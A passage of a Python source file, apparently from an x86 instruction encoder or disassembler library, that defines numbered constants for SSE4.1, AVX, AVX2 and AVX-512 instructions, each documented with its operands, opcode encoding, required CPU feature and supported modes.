VEX_VPEXTRD_RM32_XMM_IMM8: int = 3787
"""
``VPEXTRD r/m32, xmm2, imm8``
``VEX.128.66.0F3A.W0 16 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPEXTRQ_RM64_XMM_IMM8: int = 3788
"""
``VPEXTRQ r/m64, xmm2, imm8``
``VEX.128.66.0F3A.W1 16 /r ib``
``AVX``
``64-bit``
"""
EVEX_VPEXTRD_RM32_XMM_IMM8: int = 3789
"""
``VPEXTRD r/m32, xmm2, imm8``
``EVEX.128.66.0F3A.W0 16 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPEXTRQ_RM64_XMM_IMM8: int = 3790
"""
``VPEXTRQ r/m64, xmm2, imm8``
``EVEX.128.66.0F3A.W1 16 /r ib``
``AVX512DQ``
``64-bit``
"""
EXTRACTPS_RM32_XMM_IMM8: int = 3791
"""
``EXTRACTPS r/m32, xmm1, imm8``
``66 0F 3A 17 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
EXTRACTPS_R64M32_XMM_IMM8: int = 3792
"""
``EXTRACTPS r64/m32, xmm1, imm8``
``66 o64 0F 3A 17 /r ib``
``SSE4.1``
``64-bit``
"""
VEX_VEXTRACTPS_RM32_XMM_IMM8: int = 3793
"""
``VEXTRACTPS r/m32, xmm1, imm8``
``VEX.128.66.0F3A.W0 17 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VEXTRACTPS_R64M32_XMM_IMM8: int = 3794
"""
``VEXTRACTPS r64/m32, xmm1, imm8``
``VEX.128.66.0F3A.W1 17 /r ib``
``AVX``
``64-bit``
"""
EVEX_VEXTRACTPS_RM32_XMM_IMM8: int = 3795
"""
``VEXTRACTPS r/m32, xmm1, imm8``
``EVEX.128.66.0F3A.W0 17 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VEXTRACTPS_R64M32_XMM_IMM8: int = 3796
"""
``VEXTRACTPS r64/m32, xmm1, imm8``
``EVEX.128.66.0F3A.W1 17 /r ib``
``AVX512F``
``64-bit``
"""
VEX_VINSERTF128_YMM_YMM_XMMM128_IMM8: int = 3797
"""
``VINSERTF128 ymm1, ymm2, xmm3/m128, imm8``
``VEX.256.66.0F3A.W0 18 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VINSERTF32X4_YMM_K1Z_YMM_XMMM128_IMM8: int = 3798
"""
``VINSERTF32X4 ymm1 {k1}{z}, ymm2, xmm3/m128, imm8``
``EVEX.256.66.0F3A.W0 18 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VINSERTF32X4_ZMM_K1Z_ZMM_XMMM128_IMM8: int = 3799
"""
``VINSERTF32X4 zmm1 {k1}{z}, zmm2, xmm3/m128, imm8``
``EVEX.512.66.0F3A.W0 18 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VINSERTF64X2_YMM_K1Z_YMM_XMMM128_IMM8: int = 3800
"""
``VINSERTF64X2 ymm1 {k1}{z}, ymm2, xmm3/m128, imm8``
``EVEX.256.66.0F3A.W1 18 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VINSERTF64X2_ZMM_K1Z_ZMM_XMMM128_IMM8: int = 3801
"""
``VINSERTF64X2 zmm1 {k1}{z}, zmm2, xmm3/m128, imm8``
``EVEX.512.66.0F3A.W1 18 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_VEXTRACTF128_XMMM128_YMM_IMM8: int = 3802
"""
``VEXTRACTF128 xmm1/m128, ymm2, imm8``
``VEX.256.66.0F3A.W0 19 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VEXTRACTF32X4_XMMM128_K1Z_YMM_IMM8: int = 3803
"""
``VEXTRACTF32X4 xmm1/m128 {k1}{z}, ymm2, imm8``
``EVEX.256.66.0F3A.W0 19 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VEXTRACTF32X4_XMMM128_K1Z_ZMM_IMM8: int = 3804
"""
``VEXTRACTF32X4 xmm1/m128 {k1}{z}, zmm2, imm8``
``EVEX.512.66.0F3A.W0 19 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VEXTRACTF64X2_XMMM128_K1Z_YMM_IMM8: int = 3805
"""
``VEXTRACTF64X2 xmm1/m128 {k1}{z}, ymm2, imm8``
``EVEX.256.66.0F3A.W1 19 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VEXTRACTF64X2_XMMM128_K1Z_ZMM_IMM8: int = 3806
"""
``VEXTRACTF64X2 xmm1/m128 {k1}{z}, zmm2, imm8``
``EVEX.512.66.0F3A.W1 19 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VINSERTF32X8_ZMM_K1Z_ZMM_YMMM256_IMM8: int = 3807
"""
``VINSERTF32X8 zmm1 {k1}{z}, zmm2, ymm3/m256, imm8``
``EVEX.512.66.0F3A.W0 1A /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VINSERTF64X4_ZMM_K1Z_ZMM_YMMM256_IMM8: int = 3808
"""
``VINSERTF64X4 zmm1 {k1}{z}, zmm2, ymm3/m256, imm8``
``EVEX.512.66.0F3A.W1 1A /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VEXTRACTF32X8_YMMM256_K1Z_ZMM_IMM8: int = 3809
"""
``VEXTRACTF32X8 ymm1/m256 {k1}{z}, zmm2, imm8``
``EVEX.512.66.0F3A.W0 1B /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VEXTRACTF64X4_YMMM256_K1Z_ZMM_IMM8: int = 3810
"""
``VEXTRACTF64X4 ymm1/m256 {k1}{z}, zmm2, imm8``
``EVEX.512.66.0F3A.W1 1B /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VCVTPS2PH_XMMM64_XMM_IMM8: int = 3811
"""
``VCVTPS2PH xmm1/m64, xmm2, imm8``
``VEX.128.66.0F3A.W0 1D /r ib``
``F16C``
``16/32/64-bit``
"""
VEX_VCVTPS2PH_XMMM128_YMM_IMM8: int = 3812
"""
``VCVTPS2PH xmm1/m128, ymm2, imm8``
``VEX.256.66.0F3A.W0 1D /r ib``
``F16C``
``16/32/64-bit``
"""
EVEX_VCVTPS2PH_XMMM64_K1Z_XMM_IMM8: int = 3813
"""
``VCVTPS2PH xmm1/m64 {k1}{z}, xmm2, imm8``
``EVEX.128.66.0F3A.W0 1D /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPS2PH_XMMM128_K1Z_YMM_IMM8: int = 3814
"""
``VCVTPS2PH xmm1/m128 {k1}{z}, ymm2, imm8``
``EVEX.256.66.0F3A.W0 1D /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPS2PH_YMMM256_K1Z_ZMM_IMM8_SAE: int = 3815
"""
``VCVTPS2PH ymm1/m256 {k1}{z}, zmm2{sae}, imm8``
``EVEX.512.66.0F3A.W0 1D /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPUD_KR_K1_XMM_XMMM128B32_IMM8: int = 3816
"""
``VPCMPUD k1 {k2}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 1E /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPUD_KR_K1_YMM_YMMM256B32_IMM8: int = 3817
"""
``VPCMPUD k1 {k2}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 1E /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPUD_KR_K1_ZMM_ZMMM512B32_IMM8: int = 3818
"""
``VPCMPUD k1 {k2}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 1E /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPUQ_KR_K1_XMM_XMMM128B64_IMM8: int = 3819
"""
``VPCMPUQ k1 {k2}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 1E /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPUQ_KR_K1_YMM_YMMM256B64_IMM8: int = 3820
"""
``VPCMPUQ k1 {k2}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 1E /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPUQ_KR_K1_ZMM_ZMMM512B64_IMM8: int = 3821
"""
``VPCMPUQ k1 {k2}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 1E /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPD_KR_K1_XMM_XMMM128B32_IMM8: int = 3822
"""
``VPCMPD k1 {k2}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 1F /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPD_KR_K1_YMM_YMMM256B32_IMM8: int = 3823
"""
``VPCMPD k1 {k2}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 1F /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPD_KR_K1_ZMM_ZMMM512B32_IMM8: int = 3824
"""
``VPCMPD k1 {k2}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 1F /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPQ_KR_K1_XMM_XMMM128B64_IMM8: int = 3825
"""
``VPCMPQ k1 {k2}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 1F /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPQ_KR_K1_YMM_YMMM256B64_IMM8: int = 3826
"""
``VPCMPQ k1 {k2}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 1F /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPQ_KR_K1_ZMM_ZMMM512B64_IMM8: int = 3827
"""
``VPCMPQ k1 {k2}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 1F /r ib``
``AVX512F``
``16/32/64-bit``
"""
PINSRB_XMM_R32M8_IMM8: int = 3828
"""
``PINSRB xmm1, r32/m8, imm8``
``66 0F 3A 20 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
PINSRB_XMM_R64M8_IMM8: int = 3829
"""
``PINSRB xmm1, r64/m8, imm8``
``66 o64 0F 3A 20 /r ib``
``SSE4.1``
``64-bit``
"""
VEX_VPINSRB_XMM_XMM_R32M8_IMM8: int = 3830
"""
``VPINSRB xmm1, xmm2, r32/m8, imm8``
``VEX.128.66.0F3A.W0 20 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPINSRB_XMM_XMM_R64M8_IMM8: int = 3831
"""
``VPINSRB xmm1, xmm2, r64/m8, imm8``
``VEX.128.66.0F3A.W1 20 /r ib``
``AVX``
``64-bit``
"""
EVEX_VPINSRB_XMM_XMM_R32M8_IMM8: int = 3832
"""
``VPINSRB xmm1, xmm2, r32/m8, imm8``
``EVEX.128.66.0F3A.W0 20 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPINSRB_XMM_XMM_R64M8_IMM8: int = 3833
"""
``VPINSRB xmm1, xmm2, r64/m8, imm8``
``EVEX.128.66.0F3A.W1 20 /r ib``
``AVX512BW``
``64-bit``
"""
INSERTPS_XMM_XMMM32_IMM8: int = 3834
"""
``INSERTPS xmm1, xmm2/m32, imm8``
``66 0F 3A 21 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VINSERTPS_XMM_XMM_XMMM32_IMM8: int = 3835
"""
``VINSERTPS xmm1, xmm2, xmm3/m32, imm8``
``VEX.128.66.0F3A.WIG 21 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VINSERTPS_XMM_XMM_XMMM32_IMM8: int = 3836
"""
``VINSERTPS xmm1, xmm2, xmm3/m32, imm8``
``EVEX.128.66.0F3A.W0 21 /r ib``
``AVX512F``
``16/32/64-bit``
"""
PINSRD_XMM_RM32_IMM8: int = 3837
"""
``PINSRD xmm1, r/m32, imm8``
``66 0F 3A 22 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
PINSRQ_XMM_RM64_IMM8: int = 3838
"""
``PINSRQ xmm1, r/m64, imm8``
``66 o64 0F 3A 22 /r ib``
``SSE4.1``
``64-bit``
"""
VEX_VPINSRD_XMM_XMM_RM32_IMM8: int = 3839
"""
``VPINSRD xmm1, xmm2, r/m32, imm8``
``VEX.128.66.0F3A.W0 22 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPINSRQ_XMM_XMM_RM64_IMM8: int = 3840
"""
``VPINSRQ xmm1, xmm2, r/m64, imm8``
``VEX.128.66.0F3A.W1 22 /r ib``
``AVX``
``64-bit``
"""
EVEX_VPINSRD_XMM_XMM_RM32_IMM8: int = 3841
"""
``VPINSRD xmm1, xmm2, r/m32, imm8``
``EVEX.128.66.0F3A.W0 22 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPINSRQ_XMM_XMM_RM64_IMM8: int = 3842
"""
``VPINSRQ xmm1, xmm2, r/m64, imm8``
``EVEX.128.66.0F3A.W1 22 /r ib``
``AVX512DQ``
``64-bit``
"""
EVEX_VSHUFF32X4_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3843
"""
``VSHUFF32X4 ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 23 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFF32X4_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 3844
"""
``VSHUFF32X4 zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 23 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFF64X2_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3845
"""
``VSHUFF64X2 ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 23 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFF64X2_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 3846
"""
``VSHUFF64X2 zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 23 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPTERNLOGD_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 3847
"""
``VPTERNLOGD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 25 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTERNLOGD_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3848
"""
``VPTERNLOGD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 25 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTERNLOGD_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 3849
"""
``VPTERNLOGD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 25 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPTERNLOGQ_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 3850
"""
``VPTERNLOGQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 25 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTERNLOGQ_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3851
"""
``VPTERNLOGQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 25 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTERNLOGQ_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 3852
"""
``VPTERNLOGQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 25 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGETMANTPS_XMM_K1Z_XMMM128B32_IMM8: int = 3853
"""
``VGETMANTPS xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 26 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGETMANTPS_YMM_K1Z_YMMM256B32_IMM8: int = 3854
"""
``VGETMANTPS ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 26 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGETMANTPS_ZMM_K1Z_ZMMM512B32_IMM8_SAE: int = 3855
"""
``VGETMANTPS zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}, imm8``
``EVEX.512.66.0F3A.W0 26 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGETMANTPD_XMM_K1Z_XMMM128B64_IMM8: int = 3856
"""
``VGETMANTPD xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 26 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGETMANTPD_YMM_K1Z_YMMM256B64_IMM8: int = 3857
"""
``VGETMANTPD ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 26 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGETMANTPD_ZMM_K1Z_ZMMM512B64_IMM8_SAE: int = 3858
"""
``VGETMANTPD zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}, imm8``
``EVEX.512.66.0F3A.W1 26 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGETMANTSS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3859
"""
``VGETMANTSS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}, imm8``
``EVEX.LIG.66.0F3A.W0 27 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGETMANTSD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3860
"""
``VGETMANTSD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}, imm8``
``EVEX.LIG.66.0F3A.W1 27 /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_KSHIFTRB_KR_KR_IMM8: int = 3861
"""
``KSHIFTRB k1, k2, imm8``
``VEX.L0.66.0F3A.W0 30 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KSHIFTRW_KR_KR_IMM8: int = 3862
"""
``KSHIFTRW k1, k2, imm8``
``VEX.L0.66.0F3A.W1 30 /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_KSHIFTRD_KR_KR_IMM8: int = 3863
"""
``KSHIFTRD k1, k2, imm8``
``VEX.L0.66.0F3A.W0 31 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KSHIFTRQ_KR_KR_IMM8: int = 3864
"""
``KSHIFTRQ k1, k2, imm8``
``VEX.L0.66.0F3A.W1 31 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KSHIFTLB_KR_KR_IMM8: int = 3865
"""
``KSHIFTLB k1, k2, imm8``
``VEX.L0.66.0F3A.W0 32 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KSHIFTLW_KR_KR_IMM8: int = 3866
"""
``KSHIFTLW k1, k2, imm8``
``VEX.L0.66.0F3A.W1 32 /r ib``
``AVX512F``
``16/32/64-bit``
"""
VEX_KSHIFTLD_KR_KR_IMM8: int = 3867
"""
``KSHIFTLD k1, k2, imm8``
``VEX.L0.66.0F3A.W0 33 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KSHIFTLQ_KR_KR_IMM8: int = 3868
"""
``KSHIFTLQ k1, k2, imm8``
``VEX.L0.66.0F3A.W1 33 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
VEX_VINSERTI128_YMM_YMM_XMMM128_IMM8: int = 3869
"""
``VINSERTI128 ymm1, ymm2, xmm3/m128, imm8``
``VEX.256.66.0F3A.W0 38 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VINSERTI32X4_YMM_K1Z_YMM_XMMM128_IMM8: int = 3870
"""
``VINSERTI32X4 ymm1 {k1}{z}, ymm2, xmm3/m128, imm8``
``EVEX.256.66.0F3A.W0 38 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VINSERTI32X4_ZMM_K1Z_ZMM_XMMM128_IMM8: int = 3871
"""
``VINSERTI32X4 zmm1 {k1}{z}, zmm2, xmm3/m128, imm8``
``EVEX.512.66.0F3A.W0 38 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VINSERTI64X2_YMM_K1Z_YMM_XMMM128_IMM8: int = 3872
"""
``VINSERTI64X2 ymm1 {k1}{z}, ymm2, xmm3/m128, imm8``
``EVEX.256.66.0F3A.W1 38 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VINSERTI64X2_ZMM_K1Z_ZMM_XMMM128_IMM8: int = 3873
"""
``VINSERTI64X2 zmm1 {k1}{z}, zmm2, xmm3/m128, imm8``
``EVEX.512.66.0F3A.W1 38 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_VEXTRACTI128_XMMM128_YMM_IMM8: int = 3874
"""
``VEXTRACTI128 xmm1/m128, ymm2, imm8``
``VEX.256.66.0F3A.W0 39 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VEXTRACTI32X4_XMMM128_K1Z_YMM_IMM8: int = 3875
"""
``VEXTRACTI32X4 xmm1/m128 {k1}{z}, ymm2, imm8``
``EVEX.256.66.0F3A.W0 39 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VEXTRACTI32X4_XMMM128_K1Z_ZMM_IMM8: int = 3876
"""
``VEXTRACTI32X4 xmm1/m128 {k1}{z}, zmm2, imm8``
``EVEX.512.66.0F3A.W0 39 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VEXTRACTI64X2_XMMM128_K1Z_YMM_IMM8: int = 3877
"""
``VEXTRACTI64X2 xmm1/m128 {k1}{z}, ymm2, imm8``
``EVEX.256.66.0F3A.W1 39 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VEXTRACTI64X2_XMMM128_K1Z_ZMM_IMM8: int = 3878
"""
``VEXTRACTI64X2 xmm1/m128 {k1}{z}, zmm2, imm8``
``EVEX.512.66.0F3A.W1 39 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VINSERTI32X8_ZMM_K1Z_ZMM_YMMM256_IMM8: int = 3879
"""
``VINSERTI32X8 zmm1 {k1}{z}, zmm2, ymm3/m256, imm8``
``EVEX.512.66.0F3A.W0 3A /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VINSERTI64X4_ZMM_K1Z_ZMM_YMMM256_IMM8: int = 3880
"""
``VINSERTI64X4 zmm1 {k1}{z}, zmm2, ymm3/m256, imm8``
``EVEX.512.66.0F3A.W1 3A /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VEXTRACTI32X8_YMMM256_K1Z_ZMM_IMM8: int = 3881
"""
``VEXTRACTI32X8 ymm1/m256 {k1}{z}, zmm2, imm8``
``EVEX.512.66.0F3A.W0 3B /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VEXTRACTI64X4_YMMM256_K1Z_ZMM_IMM8: int = 3882
"""
``VEXTRACTI64X4 ymm1/m256 {k1}{z}, zmm2, imm8``
``EVEX.512.66.0F3A.W1 3B /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPUB_KR_K1_XMM_XMMM128_IMM8: int = 3883
"""
``VPCMPUB k1 {k2}, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.W0 3E /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPUB_KR_K1_YMM_YMMM256_IMM8: int = 3884
"""
``VPCMPUB k1 {k2}, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.W0 3E /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPUB_KR_K1_ZMM_ZMMM512_IMM8: int = 3885
"""
``VPCMPUB k1 {k2}, zmm2, zmm3/m512, imm8``
``EVEX.512.66.0F3A.W0 3E /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPUW_KR_K1_XMM_XMMM128_IMM8: int = 3886
"""
``VPCMPUW k1 {k2}, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.W1 3E /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPUW_KR_K1_YMM_YMMM256_IMM8: int = 3887
"""
``VPCMPUW k1 {k2}, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.W1 3E /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPUW_KR_K1_ZMM_ZMMM512_IMM8: int = 3888
"""
``VPCMPUW k1 {k2}, zmm2, zmm3/m512, imm8``
``EVEX.512.66.0F3A.W1 3E /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPB_KR_K1_XMM_XMMM128_IMM8: int = 3889
"""
``VPCMPB k1 {k2}, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.W0 3F /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPB_KR_K1_YMM_YMMM256_IMM8: int = 3890
"""
``VPCMPB k1 {k2}, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.W0 3F /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPB_KR_K1_ZMM_ZMMM512_IMM8: int = 3891
"""
``VPCMPB k1 {k2}, zmm2, zmm3/m512, imm8``
``EVEX.512.66.0F3A.W0 3F /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPW_KR_K1_XMM_XMMM128_IMM8: int = 3892
"""
``VPCMPW k1 {k2}, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.W1 3F /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPW_KR_K1_YMM_YMMM256_IMM8: int = 3893
"""
``VPCMPW k1 {k2}, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.W1 3F /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPW_KR_K1_ZMM_ZMMM512_IMM8: int = 3894
"""
``VPCMPW k1 {k2}, zmm2, zmm3/m512, imm8``
``EVEX.512.66.0F3A.W1 3F /r ib``
``AVX512BW``
``16/32/64-bit``
"""
DPPS_XMM_XMMM128_IMM8: int = 3895
"""
``DPPS xmm1, xmm2/m128, imm8``
``66 0F 3A 40 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VDPPS_XMM_XMM_XMMM128_IMM8: int = 3896
"""
``VDPPS xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.WIG 40 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VDPPS_YMM_YMM_YMMM256_IMM8: int = 3897
"""
``VDPPS ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.WIG 40 /r ib``
``AVX``
``16/32/64-bit``
"""
DPPD_XMM_XMMM128_IMM8: int = 3898
"""
``DPPD xmm1, xmm2/m128, imm8``
``66 0F 3A 41 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VDPPD_XMM_XMM_XMMM128_IMM8: int = 3899
"""
``VDPPD xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.WIG 41 /r ib``
``AVX``
``16/32/64-bit``
"""
MPSADBW_XMM_XMMM128_IMM8: int = 3900
"""
``MPSADBW xmm1, xmm2/m128, imm8``
``66 0F 3A 42 /r ib``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VMPSADBW_XMM_XMM_XMMM128_IMM8: int = 3901
"""
``VMPSADBW xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.WIG 42 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VMPSADBW_YMM_YMM_YMMM256_IMM8: int = 3902
"""
``VMPSADBW ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.WIG 42 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VDBPSADBW_XMM_K1Z_XMM_XMMM128_IMM8: int = 3903
"""
``VDBPSADBW xmm1 {k1}{z}, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.W0 42 /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VDBPSADBW_YMM_K1Z_YMM_YMMM256_IMM8: int = 3904
"""
``VDBPSADBW ymm1 {k1}{z}, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.W0 42 /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VDBPSADBW_ZMM_K1Z_ZMM_ZMMM512_IMM8: int = 3905
"""
``VDBPSADBW zmm1 {k1}{z}, zmm2, zmm3/m512, imm8``
